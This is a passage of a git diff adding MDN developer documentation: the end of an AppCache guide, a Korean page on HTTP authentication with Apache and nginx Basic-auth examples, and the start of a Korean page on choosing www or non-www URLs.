+<p>In Firefox the current status of the offline cache can be inspected on the <code>about:cache</code> page (under the "Offline cache device" heading). The offline cache can be cleared for each site separately using the "Remove..." button in Tools -&gt; Options -&gt; Advanced -&gt; Network -&gt; Offline data.</p>
+
+<p>Prior to Firefox 11, neither Tools -&gt; Clear Recent History nor Tools -&gt; Options -&gt; Advanced -&gt; Network -&gt; Offline data -&gt; Clear Now cleared the offline cache. This has been fixed.</p>
+
+<p>On Linux, you can find the setting at Edit &gt; Preferences &gt; Advanced &gt; Network &gt; Offline Web Content and User Data</p>
+
+<p>See also <a href="/en-US/docs/DOM/Storage#Storage_location_and_clearing_the_data" title="DOM/Storage#Storage location and clearing the data">clearing the DOM Storage data</a>.</p>
+
+<p>Application caches can also become obsolete. If an application's manifest file is removed from the server, the browser removes all application caches that use that manifest, and sends an "obsoleted" event to the <code>applicationCache</code> object. This sets the application cache's state to <code>OBSOLETE</code>.</p>
+
+<h2 id="The_cache_manifest_file">The cache manifest file</h2>
+
+<h3 id="Referencing_a_cache_manifest_file">Referencing a cache manifest file</h3>
+
+<p>The <code>manifest</code> attribute in a web application can specify either the relative path of a cache manifest file or an absolute URL. (Absolute URLs must be from the same origin as the application). A cache manifest file can have any file extension, but it must be served with the MIME type <code>text/cache-manifest</code>.</p>
+
+<div class="note"><strong>Note: </strong>On Apache servers, the MIME type for manifest (.appcache) files can be set by adding <code>AddType text/cache-manifest .appcache</code> to a .htaccess file within either the root directory, or the same directory as the application.</div>
+
+<h3 id="Entries_in_a_cache_manifest_file">Entries in a cache manifest file</h3>
+
+<p>The cache manifest file is a simple text file that lists the resources the browser should cache for offline access. Resources are identified by URI. Entries listed in the cache manifest must have the same scheme, host, and port as the manifest.</p>
+
+<h3 id="Example_1_a_simple_cache_manifest_file">Example 1: a simple cache manifest file</h3>
+
+<p>The following is a simple cache manifest file, <code>example.appcache</code>, for an imaginary web site at <span class="nowiki">www.example.com</span>.</p>
+
+<pre>CACHE MANIFEST
+# v1 - 2011-08-13
+# This is a comment.
+<span class="nowiki">http://www.example.com/index.html</span>
+<span class="nowiki">http://www.example.com/header.png</span>
+<span class="nowiki">http://www.example.com/blah/blah</span>
+</pre>
+
+<p>A cache manifest file can include three sections (<code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK</code>, discussed below). In the example above, there is no section header, so all data lines are assumed to be in the explicit (<code>CACHE</code>) section, meaning that the browser should cache all the listed resources in the application cache. Resources can be specified using either absolute or relative URLs (e.g., <code>index.html</code>).</p>
+
+<p>The "v1" comment in the example above is there for a good reason. Browsers only update an application cache when the manifest file changes, byte for byte. If you change a cached resource (for example, you update the <code>header.png</code> image with new content), you must also change the content of the manifest file in order to let browsers know that they need to refresh the cache. You can make any change you want to the manifest file, but revising a version number is the recommended best practice.</p>
+
+<div class="warning"><strong>Important:</strong> Do not specify the manifest itself in the cache manifest file, otherwise it will be nearly impossible to inform the browser a new manifest is available.</div>
+
+<h3 id="Sections_in_a_cache_manifest_file_CACHE_NETWORK_and_FALLBACK">Sections in a cache manifest file: <code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK</code></h3>
+
+<p>A manifest can have three distinct sections: <code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK</code>.</p>
+
+<dl>
+ <dt><code>CACHE:</code></dt>
+ <dd>This is the default section for entries in a cache manifest file. Files listed under the <code>CACHE:</code> section header (or immediately after the <code>CACHE MANIFEST</code> line) are explicitly cached after they're downloaded for the first time.</dd>
+ <dt><code>NETWORK:</code></dt>
+ <dd>Files listed under the <code>NETWORK:</code> section header in the cache manifest file are white-listed resources that require a connection to the server. All requests to such resources bypass the cache, even if the user is offline. Wildcards may be used.</dd>
+ <dt><code>FALLBACK:</code></dt>
+ <dd>The <code>FALLBACK:</code> section specifies fallback pages the browser should use if a resource is inaccessible. Each entry in this section lists two URIs—the first is the resource, the second is the fallback. Both URIs must be relative and from the same origin as the manifest file. Wildcards may be used.</dd>
+</dl>
+
+<p>The <code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK </code>sections can be listed in any order in a cache manifest file, and each section can appear more than once in a single manifest.</p>
+
+<h3 id="Example_2_a_more_complete_cache_manifest_file">Example 2: a more complete cache manifest file</h3>
+
+<p>The following is a more complete cache manifest file for the imaginary web site at <span class="nowiki">www.example.com</span>:</p>
+
+<pre>CACHE MANIFEST
+# v1 2011-08-14
+# This is another comment
+index.html
+cache.html
+style.css
+image1.png
+
+# Use from network if available
+NETWORK:
+network.html
+
+# Fallback content
+FALLBACK:
+/ fallback.html
+</pre>
+
+<p>This example uses <code>NETWORK</code> and <code>FALLBACK</code> sections to specify that the <code>network.html</code> page must always be retrieved from the network, and that the <code>fallback.html</code> page should be served as a fallback resource (e.g., in case a connection to the server cannot be established).</p>
+
+<h3 id="Structure_of_a_cache_manifest_file">Structure of a cache manifest file</h3>
+
+<p>Cache manifest files must be served with the <code>text/cache-manifest</code> MIME type. All resources served using this MIME type must follow the syntax for an application cache manifest, as defined in this section.</p>
+
+<p>Cache manifests are UTF-8 format text files, and may optionally include a BOM character. Newlines may be represented by line feed (<code>U+000A</code>), carriage return (<code>U+000D</code>), or carriage return and line feed both.</p>
+
+<p>The first line of the cache manifest must consist of the string <code>CACHE MANIFEST</code> (with a single <code>U+0020</code> space between the two words), followed by zero or more space or tab characters. Any other text on the line is ignored.</p>
+
+<p>The remainder of the cache manifest must be comprised of zero or more of the following lines:</p>
+
+<dl>
+ <dt>Blank line</dt>
+ <dd>You may use blank lines comprised of zero or more space and tab characters.</dd>
+ <dt>Comment</dt>
+ <dd>Comments consist of zero or more tabs or spaces followed by a single <code>#</code> character, followed by zero or more characters of comment text. Comments may only be used on their own lines (after the initial <span style='font-family: "Courier New","Andale Mono",monospace; font-size: 14px; line-height: normal;'>CACHE MANIFEST </span><span style="font-size: 14px; line-height: 1.572;">line), and cannot be appended to other lines. This means that you cannot specify fragment identifiers.</span></dd>
+ <dt>Section header</dt>
+ <dd>Section headers specify which section of the cache manifest is being manipulated. There are three possible section headers:</dd>
+</dl>
+
+<blockquote>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Section header</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>CACHE:</code></td>
+   <td>Switches to the explicit section of the cache manifest (this is the default section).</td>
+  </tr>
+  <tr>
+   <td><code>NETWORK:</code></td>
+   <td>Switches to the online whitelist section of the cache manifest.</td>
+  </tr>
+  <tr>
+   <td><code>FALLBACK:</code></td>
+   <td>Switches to the fallback section of the cache manifest.</td>
+  </tr>
+ </tbody>
+</table>
+</blockquote>
+
+<dl>
+ <dd>The section header line may include whitespaces, but must include the colon (<code>:</code>) in the section name.</dd>
+ <dt>Section data</dt>
+ <dd>The format for lines of data varies from section to section. In the explicit (<code>CACHE:</code>) section, each line is a valid URI or IRI reference to a resource to cache (no wildcard characters are allowed in this sections). Whitespace is allowed before and after the URI or IRI on each line. In the Fallback section each line is a valid URI or IRI reference to a resource, followed by a fallback resource that is to be served up when a connection with the server cannot be made. In the network section, each line is a valid URI or IRI reference to a resource to fetch from the network (the wildcard character * is allowed in this section).
+ <div class="note"><strong>Note: </strong>Relative URIs are relative to the cache manifest's URI, not to the URI of the document referencing the manifest.</div>
+ </dd>
+</dl>
+
+<p>Cache manifest files can switch from section to section at will (each section header can be used more than once), and sections are allowed to be empty.</p>
+
+<h2 id="Resources_in_an_application_cache">Resources in an application cache</h2>
+
+<p>An application cache always includes at least one resource, identified by URI. All resources fit into one of the following categories:</p>
+
+<dl>
+ <dt>Master entries</dt>
+ <dd>These are resources added to the cache because a browsing context visited by the user included a document that indicated that it was in this cache using its <code>manifest</code> attribute.</dd>
+ <dt>Explicit entries</dt>
+ <dd>These are resources explicitly listed in the application's cache manifest file.</dd>
+ <dt>Network entries</dt>
+ <dd>These are resources listed in the application's cache manifest files as network entries.</dd>
+ <dt>Fallback entries</dt>
+ <dd>These are resources listed in the application's cache manifest files as fallback entries.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> Resources can be tagged with multiple categories, and can therefore be categorized as multiple entries. For example, an entry can be both an explicit entry and a fallback entry.</div>
+
+<p>Resource categories are described in greater detail below.</p>
+
+<h3 id="Master_entries">Master entries</h3>
+
+<p>Master entries are any HTML files that include a {{htmlattrxref("manifest","html")}} attribute in their {{HTMLElement("html")}} element. For example, let's say we have the HTML file <code><a class="linkification-ext external" href="http://www.foo.bar/entry.html" title="Linkification: http://www.foo.bar/entry.html">http://www.example.com/entry.html</a></code>, which looks like this:</p>
+
+<pre class="brush: html">&lt;html manifest="example.appcache"&gt;
+  &lt;h1&gt;Application Cache Example&lt;/h1&gt;
+&lt;/html&gt;
+</pre>
+
+<p>If <code>entry.html</code> is not listed in the <code>example.appcache</code> cache manifest file, visiting the <code>entry.html</code> page causes <code>entry.html</code> to be added to the application cache as a master entry.</p>
+
+<h3 id="Explicit_entries">Explicit entries</h3>
+
+<p>Explicit entries are resources that are explicitly listed in the <code>CACHE </code>section of a cache manifest file.</p>
+
+<h3 id="Network_entries">Network entries</h3>
+
+<p>The <code>NETWORK</code> section of a cache manifest file specifies resources for which a web application requires online access. Network entries in an application cache are essentially an "online whitelist"—URIs specified in the <code>NETWORK</code> section are loaded from the server instead of the cache. This lets the browser's security model protect the user from potential security breaches by limiting access to approved resources.</p>
+
+<p>As an example, you can use network entries to load and execute scripts and other code from the server instead of the cache:</p>
+
+<pre>CACHE MANIFEST
+NETWORK:
+/api
+</pre>
+
+<p>The cache manifest section listed above ensures that requests to load resources contained in the <code><a href="http://www.example.com/api/" rel="freelink">http://www.example.com/api/</a></code> subtree always go to the network without attempting to access the cache.</p>
+
+<div class="note"><strong>Note</strong>: Simply omitting master entries (files that have the <code>manifest</code> attribute set in the <code>html</code> element) from the manifest file would not have the same result, because master entries will be added—and subsequently served from—the application cache.</div>
+
+<h3 id="Fallback_entries">Fallback entries</h3>
+
+<p>Fallback entries are used when an attempt to load a resource fails. For example, let's say the cache manifest file <code><a href="http://www.example.com/example.appcache" rel="freelink">http://www.example.com/example.appcache</a></code> includes the following content:</p>
+
+<pre>CACHE MANIFEST
+FALLBACK:
+example/bar/ example.html
+</pre>
+
+<p>Any request to <code><a href="http://www.example.com/example/bar/" rel="freelink">http://www.example.com/example/bar/</a></code> or any of its subdirectories and their content cause the browser to issue a network request to attempt to load the requested resource. If the attempt fails, due to either a network failure or a server error of some kind, the browser loads the file <code>example.html</code> instead.</p>
+
+<h2 id="Cache_states">Cache states</h2>
+
+<p>Each application cache has a <strong>state</strong>, which indicates the current condition of the cache. Caches that share the same manifest URI share the same cache state, which can be one of the following:</p>
+
+<dl>
+ <dt><code>UNCACHED</code></dt>
+ <dd>A special value that indicates that an application cache object is not fully initialized.</dd>
+ <dt><code>IDLE</code></dt>
+ <dd>The application cache is not currently in the process of being updated.</dd>
+ <dt><code>CHECKING</code></dt>
+ <dd>The manifest is being fetched and checked for updates.</dd>
+ <dt><code>DOWNLOADING</code></dt>
+ <dd>Resources are being downloaded to be added to the cache, due to a changed resource manifest.</dd>
+ <dt><code>UPDATEREADY</code></dt>
+ <dd>There is a new version of the application cache available. There is a corresponding <code>updateready</code> event, which is fired instead of the <code>cached</code> event when a new update has been downloaded but not yet activated using the <code>swapCache()</code> method.</dd>
+ <dt><code>OBSOLETE</code></dt>
+ <dd>The application cache group is now obsolete.</dd>
+</dl>
+
+<h2 id="Testing_for_updates_to_the_cache_manifest">Testing for updates to the cache manifest</h2>
+
+<p>You can programmatically test to see if an application has an updated cache manifest file, using JavaScript. Since a cache manifest file may have been updated before a script attaches event listeners to test for updates, scripts should always test <code>window.applicationCache.status</code>.</p>
+
+<pre class="brush: js">function onUpdateReady() {
+  alert('found new version!');
+}
+window.applicationCache.addEventListener('updateready', onUpdateReady);
+if(window.applicationCache.status === window.applicationCache.UPDATEREADY) {
+  onUpdateReady();
+}</pre>
+
+<p>To manually start testing for a new manifest file, you can use <code>window.applicationCache.update()</code>.</p>
+
+<h2 id="Gotchas">Gotchas</h2>
+
+<ul>
+ <li>Never access cached files by using traditional GET parameters (like <code>other-cached-page.html?parameterName=value</code>). This will make the browser bypass the cache and attempt to get it from network. To link to cached resources that have parameters parsed in JavaScript use parameters in the hash part of the link, such as <code>other-cached-page.html#whatever?parameterName=value</code>.</li>
+ <li>When applications are cached, simply updating the resources (files) that are used in a web page is not enough to update the files that have been cached. You must update the cache manifest file itself before the browser retrieves and uses the updated files. You can do this programmatically using <code>window.applicationCache.swapCache()</code>, though resources that have already been loaded will not be affected. To make sure that resources are loaded from a new version of the application cache, refreshing the page is ideal.</li>
+ <li>It's a good idea to set expires headers on your web server for <code>*.appcache</code> files to expire immediately. This avoids the risk of caching manifest files. For example, in Apache you can specify such a configuration as follows:<br>
+  <code>ExpiresByType text/cache-manifest "access plus 0 seconds"</code></li>
+</ul>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.html.manifest")}}</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/appcache/beginner/" title="http://www.html5rocks.com/en/tutorials/appcache/beginner/">HTML5Rocks - A Beginner's Guide to Using the Application Cache</a></li>
+ <li><a href="http://appcachefacts.info/" title="http://appcachefacts.info/">appcachefacts.info</a> - detailed information on AppCache idiosyncrasies</li>
+ <li><a href="http://alistapart.com/article/application-cache-is-a-douchebag" title="http://alistapart.com/article/application-cache-is-a-douchebag">A List Apart: Application Cache is a Douchebag</a>
+  <ul>
+   <li><a href="http://flailingmonkey.com/application-cache-not-a-douchebag" title="http://flailingmonkey.com/application-cache-not-a-douchebag">The Application Cache is no longer a Douchebag</a> - an overview of the app cache debugging tools added in Firefox 23.</li>
+  </ul>
+ </li>
+ <li><a href="http://hacks.mozilla.org/2010/01/offline-web-applications/" title="http://hacks.mozilla.org/2010/01/offline-web-applications/">offline web applications</a> at hacks.mozilla.org - showcases an offline app demo and explains how it works.</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#offline" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#offline">HTML 5 working draft: Offline web applications</a></li>
+ <li><a href="http://www.w3.org/TR/offline-webapps/" title="http://www.w3.org/TR/offline-webapps/">W3C Working Group Note: Offline Web Applications</a></li>
+ <li><a href="http://developer.teradata.com/blog/js186040/2011/11/html5-cache-manifest-an-off-label-usage" title="http://developer.teradata.com/blog/js186040/2011/11/html5-cache-manifest-an-off-label-usage">HTML5 Cache Manifest: An Off-label Usage</a></li>
+ <li><a href="http://manifest-validator.com" title="http://manifest-validator.com">Cache Manifest Validator</a></li>
+ <li>{{interface("nsIApplicationCache")}}</li>
+ <li>{{interface("nsIApplicationCacheNamespace")}}</li>
+ <li>{{interface("nsIApplicationCacheContainer")}}</li>
+ <li>{{interface("nsIApplicationCacheChannel")}}</li>
+ <li>{{interface("nsIApplicationCacheService")}}</li>
+ <li>{{interface("nsIDOMOfflineResourceList")}}</li>
+ <li><a href="http://www.ibm.com/developerworks/web/library/wa-ffox3/">Get ready for Firefox 3.0 - A Web developer's guide to the many new features in this popular browser, especially the offline application features</a> (IBM developerWorks)</li>
+ <li><a href="/en-US/docs/Application_cache_implementation_overview" title="/en-US/docs/Application_cache_implementation_overview">Application cache implementation overview</a></li>
+</ul>
diff --git a/files/ko/web/http/authentication/index.html b/files/ko/web/http/authentication/index.html
new file mode 100644
index 0000000000..0656c6ecf2
--- /dev/null
+++ b/files/ko/web/http/authentication/index.html
@@ -0,0 +1,111 @@
+---
+title: HTTP 인증
+slug: Web/HTTP/Authentication
+translation_of: Web/HTTP/Authentication
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP는 액세스 제어와 인증을 위한 프레임워크를 제공합니다. 가장 일반적인 인증 방식은 "Basic" 인증 방식입니다. 이 페이지에서는 일반적인 HTTP 인증 프레임워크를 소개하고 서버에 HTTP의 Basic 인증 방식으로 접근을 제한하는 것을 보여 줍니다.</p>
+
+<h2 id="일반적인_HTTP_인증_프레임워크">일반적인 HTTP 인증 프레임워크</h2>
+
+<p>{{RFC("7235")}}는 서버에 의해 클라이언트 요청을 시도({{glossary("challenge")}})하고, 클라이언트에 의해 인증 정보를 제공하기 위해 사용될 수 있는 HTTP 인증 프레임워크를 정의합니다. 이러한 시도와 응답 과정은 다음과 같이 작동합니다. 서버는 클라이언트에게 {{HTTPStatus("401")}} (Unauthorized) 응답 코드를 가지고 응답하며, 최소한 한 번의 시도에 포함된 {{HTTPHeader("WWW-Authenticate")}} 응답 헤더로 권한을 부여하는 방법에 대한 정보를 제공합니다. 서버와 인증을 하기를 원하는 클라이언트는 {{HTTPHeader("Authorization")}} 요청 헤더 필드에 인증 정보를 포함함으로써 인증을 수행할 수 있습니다. 클라이언트는 대개 사용자에게 비밀번호 프롬프트를 표시할 것이고 정확한 <code>Authorization</code> 헤더를 포함하는 요청을 만들 것입니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;"></p>
+
+<p>그림에서 보는 것과 같이 "Basic" 인증의 경우, 교환은 안전을 위해 HTTPS (TLS) 연결 위에서 <strong>발생하여야 합니다</strong>.</p>
+
+<h3 id="프록시_인증">프록시 인증</h3>
+
+<p>동일한 시도 및 응답 메커니즘이 프록시 인증을 위해서도 사용될 수 있습니다. 이 경우, 이것은 인증을 요구하는 중간 프록시입니다. 리소스 인증 및 프록시 인증은 함께 존재할 수 있기 때문에, 헤더와 상태 코드의 다른 세트가 필요합니다. 프록시의 경우, 요청에 대한 상태 코드는 {{HTTPStatus("407")}} (Proxy Authentication Required)이고, {{HTTPHeader("Proxy-Authenticate")}} 응답 헤더는 프록시에 적용 가능한 최소한 하나의 요청을 포함하며, 그리고 {{HTTPHeader("Proxy-Authorization")}} 요청 헤더는 프록시 서버에 인증 정보를 제공하기 위해 사용됩니다.</p>
+
+<h3 id="접근_거부">접근 거부</h3>
+
+<p>(프록시) 서버가 주어진 리소스에 대한 접근 권한을 얻기 위해 적절하지 않은 유효한 인증 정보를 수신한다면, 서버는 {{HTTPStatus("403")}} <code>Forbidden</code> 상태 코드로 응답하여야 합니다.  {{HTTPStatus("401")}} <code>Unauthorized</code>나 {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>와는 다르게, 해당 사용자에 대한 인증은 불가능합니다.</p>
+
+<h3 id="WWW-Authenticate와_Proxy-Authenticate_헤더"><code>WWW-Authenticate</code>와 <code>Proxy-Authenticate</code> 헤더</h3>
+
+<p>{{HTTPHeader("WWW-Authenticate")}}와 {{HTTPHeader("Proxy-Authenticate")}} 응답 헤더는 자원에 대한 액세스를 얻기 위해 사용되어야 할 인증 방법을 정의합니다. 이들은 인증을 하려는 클라이언트가 인증 정보를 제공할 방법을 알기 위해, 어떤 인증 스킴이 사용될 것인지를 구체적으로 적을 필요가 있습니다. 이들 헤더의 문법은 다음과 같습니다.</p>
+
+<pre class="syntaxbox">WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+Proxy-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+</pre>
+
+<p>여기서, <code>&lt;type&gt;</code>은 인증 스킴입니다("Basic"은 가장 일반적인 스킴이며 <a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Authentication#Basic_%EC%9D%B8%EC%A6%9D_%EC%8A%A4%ED%82%B4">아래에 소개되어 있습니다</a>). <em>realm</em>은 보호되는 영역을 설명하거나 보호의 범위를 알리는데 사용됩니다. 이는 어떤 공간에 사용자가 접근하려고 시도하는지를 알리기 위하여, "중간 단계의 사이트에 대한 접근"과 같거나 또는 비슷한 메시지가 될 수 있습니다.</p>
+
+<h3 id="Authorization와_Proxy-Authorization_헤더"><code>Authorization</code>와 <code>Proxy-Authorization</code> 헤더</h3>
+
+<p>{{HTTPHeader("Authorization")}}와 {{HTTPHeader("Proxy-Authorization")}} 요청 헤더는 사용자 에이전트가 (프록시) 서버에 인증을 하기 위한 인증 정보를 포함합니다. 여기에서 type은 다시 한 번 필요하며 credentials이 뒤에 따라옵니다. credentials 부분은 어떤 인증 스킴이 사용되는지에 따라 인코딩이 되어 있거나 암호화가 되어 있을 수 있습니다.</p>
+
+<pre class="syntaxbox">Authorization: &lt;type&gt; &lt;credentials&gt;
+Proxy-Authorization: &lt;type&gt; &lt;credentials&gt;
+</pre>
+
+<h3 id="인증_스킴">인증 스킴</h3>
+
+<p>일반적인 HTTP 인증 프레임워크는 여러 인증 스킴에 의해 사용됩니다. 스킴은 보안 강도와 클라이언트 또는 서버 소프트웨어에서 사용 가능성에 따라 달라질 수 있습니다.</p>
+
+<p>가장 일반적인 인증 스킴은 아래에서 좀 더 자세하게 소개할 "Basic" 인증 스킴입니다. IANA는 <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">인증 스킴의 목록</a>을 유지하고 있으나, Amazon AWS와 같은 호스트 서비스에 의해 제공되는 다른 스킴도 존재합니다. 일반적인 인증 스킴은 아래를 포함합니다.</p>
+
+<ul>
+ <li><strong>Basic</strong> ({{rfc(7617)}}를 보십시오. base64-encoded credentials. 더 많은 정보는 아래를 확인하십시오.),</li>
+ <li><strong>Bearer</strong> ({{rfc(6750)}}를 보십시오. bearer tokens to access OAuth 2.0-protected resources),</li>
+ <li><strong>Digest</strong> ({{rfc(7616)}}를 보십시오. Firefox에서는 md5 해싱만 지원합니다. SHA 암호화 지원을 위하여 {{bug(472823)}}을 확인하십시오.),</li>
+ <li><strong>HOBA</strong> ({{rfc(7486)}} (draft)를 보십시오. <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, digital-signature-based),</li>
+ <li><strong>Mutual</strong> (<a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>를 참조하십시오),</li>
+ <li>
+  <p><strong>AWS4-HMAC-SHA256</strong> (<a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs를 참조하십시오</a>).</p>
+ </li>
+</ul>
+
+<h2 id="Basic_인증_스킴">Basic 인증 스킴</h2>
+
+<p>"Basic" HTTP 인증 스킴은 {{rfc(7617)}}에 정의되어 있는데, 이는 base64를 이용하여 인코딩된 사용자 ID/비밀번호 쌍의 인증 정보를 전달합니다.</p>
+
+<h3 id="Basic_인증의_보안">Basic 인증의 보안</h3>
+
+<p>사용자 ID와 비밀번호가 평문으로 네트워크를 통해 전달되기 때문에 (이것은 base64로 인코딩 되어 있으나, base64는 복호화가 가능한 인코딩이므로), Basic 인증 스킴은 안전하지 않습니다. HTTPS / TLS는 basic 인증과 함께 사용되어야 합니다. 이러한 추가적인 보안상의 향상이 없이는, basic 인증은 민감하거나 귀중한 정보를 보호하는 데 사용되어서는 안 됩니다.</p>
+
+<h3 id="Apache와_Basic_인증으로_접근_제한하기">Apache와 Basic 인증으로 접근 제한하기</h3>
+
+<p>Apache 서버에서 디렉터리를 비밀번호로 보호하기 위해서는, <code>.htaccess</code>와 <code>.htpasswd</code> 파일이 필요할 것입니다.</p>
+
+<p><code>.htaccess</code> 파일은 일반적으로 이렇게 생겼습니다.</p>
+
+<pre>AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user</pre>
+
+<p><code>.htaccess</code> 각각의 줄이 콜론(":")으로 나뉘어져 있는 사용자 이름과 비밀번호를 포함하는 <code>.htpasswd</code> 파일을 참조합니다. 여러분은 그들이 <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">암호화</a>되어 있기 때문에 (이 경우에서는 md5) 실제 비밀번호를 보지 못할 수도 있습니다. 여러분이 원한다면 <code>.htpasswd</code> 파일의 이름을 바꿀 수 있지만, 이 파일은 누구에게도 접근 가능해서는 안 됨을 유의하십시오. (Apache는 일반적으로 <code>.ht*</code> 파일에 대한 접근을 제한하도록 설정되어 있습니다)</p>
+
+<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+</pre>
+
+<h3 id="nginx와_Basic_인증으로_접근_제한하기">nginx와 Basic 인증으로 접근 제한하기</h3>
+
+<p>nginx에서 여러분은 보호하려는 위치와 비밀번호로 보호될 영역의 이름을 나타내는  <code>auth_basic</code> 명령어를 적어줄 필요가 있습니다. 위의 Apache 예제에 있는 것과 같이, <code>auth_basic_user_file</code> 명령어는 암호화된 사용자 인증 정보를 가지고 있는 .htpasswd 파일을 가리킵니다.</p>
+
+<pre>location /status {
+    auth_basic           "Access to the staging site";
+    auth_basic_user_file /etc/apache2/.htpasswd;
+}</pre>
+
+<h3 id="URL에_인증_정보를_사용하여_접근하기">URL에 인증 정보를 사용하여 접근하기</h3>
+
+<p>또한 많은 클라이언트들은 아래와 같이 사용자 이름과 비밀번호를 포함하는 인코딩된 URL을 사용하여 로그인 프롬프트를 피하게 합니다.</p>
+
+<pre class="example-bad">https://username:password@www.example.com/</pre>
+
+<p><strong>이러한 방식의 URL은 더 이상 사용되지 않습니다</strong>. Chrome에서, URL의 <code>username:password@</code> 부분은 보안 상의 이유로 <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7">제거</a>됩니다. Firefox에서는, 해당 사이트가 진짜로 인증이 필요한지를 체크하며, 그렇지 않으면 Firefox는 프롬프트로 "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you."와 같이 경고합니다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/ko/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html b/files/ko/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html
new file mode 100644
index 0000000000..a229425432
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html
@@ -0,0 +1,65 @@
+---
+title: www와 비-www URL 중에서 선택하기
+slug: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs
+translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">웹 사이트 소유자들이 반복해서 하게 되는 질문은 비-www 혹은 www URL 중 무엇을 선택해야 하는가입니다. 이 페이지는 그에 대해 최선의 결론을 내기 위한 조언을 제공합니다.</p>
+
+<h2 id="도메인_이름이란_무엇인가요">도메인 이름이란 무엇인가요?</h2>
+
+<p>HTTP URL에서, 앞 부분의 <code>http://</code> or <code>https://</code> 다음에 오는 첫번째 하위 문자열을 도메인이라 부릅니다. 그것은 문서가 위치하고 있는 서버의 이름입니다.</p>
+
+<p>서버는 꼭 물리적인 하드웨어일 필요는 없습니다: 몇몇 서버들은 같은 물리적 하드웨어 위에 함께 위치할 수 있습니다. 혹은, 한 개의 서버가 여러 하드웨어들에 의해 처리되어, 결과를 만들어내는데 동조하거나 그들 사이에서 요청에 대한 로드를 균형있게 조정할 수도 있습니다. 요점은 의미적으로 <em>하나의 도메인 이름이 하나의 단일 서버를 나타낸다</em>는 것입니다.</p>
+
+<h2 id="그래서_내_사이트_웹에_대해_하나_또는_다른_것을_선택해야만_하나요">그래서, 내 사이트 웹에 대해 하나 또는 다른 것을 선택해야만 하나요?</h2>
+
+<ul>
+ <li><u>그렇습니다</u>, 하나를 선택하고 그것과 함께 결속될 필요가 있습니다. 당신의 표준 위치로 할 것을 선택하는 것은 당신의 몫이며, 한 가지를 선택하는 경우 그것과 결속되게 됩니다. 그것은 당신의 웹 사이트를 당신의 사용자 그리고 검색 엔진에게 있어 좀 더 일관되게 보이도록 만들어줄 것입니다. 이것은 선택된 도메인에 대해 항상 링크되는 것(당신의 웹 사이트에서 상대 URL을 사용하고 있는 경우 어렵지 않아야 함)과 동일한 도메인에 대한 링크를 (이메일이나 소셜 네트워크 등에 의해) 항상 공유하는 것을 포함합니다.</li>
+ <li><u>그렇지 않습니다</u>, 두 가지 모두를 가질 수는 없습니다. 중요한 것은 당신이 공식 도메인을 이용해 결속되어 있고 일관되다는 것입니다. <strong>이 공식 도메인을 <em>표준</em> 이름이라고 부릅니다. </strong>당신의 모든 절대 링크는 그 이름을 사용해야 합니다. 그러나 그럼에도, 당신은 여전히 동작하는 다른 도메인을 가질 수 있습니다: HTTP는 두 가지 기술을 허용하므로 비표준 도메인이 동작하고 예상되는 페이지를 제공하도록 허용되고 있는 동안에도 도메인이 표준 도메인인 당신의 사용자 혹은 검색 엔진에게 있어서 명확할 것입니다.</li>
+</ul>
+
+<p>그러므로, 당신의 도메인 중 하나를 당신의 표준 도메인으로 선택하세요! 표준 도메인이 아닌 도메인을 여전히 동작하도록 만들기 위한 두 가지 기술을 아래에 소개합니다.</p>
+
+<h2 id="표준_URLs을_위한_기술들">표준 URLs을 위한 기술들</h2>
+
+<p><em>표준</em> 웹 사이트를 선택하기 위한 서로 다른 방법들이 있습니다.</p>
+
+<h3 id="HTTP_301_리다이렉트_사용하기">HTTP 301 리다이렉트 사용하기</h3>
+
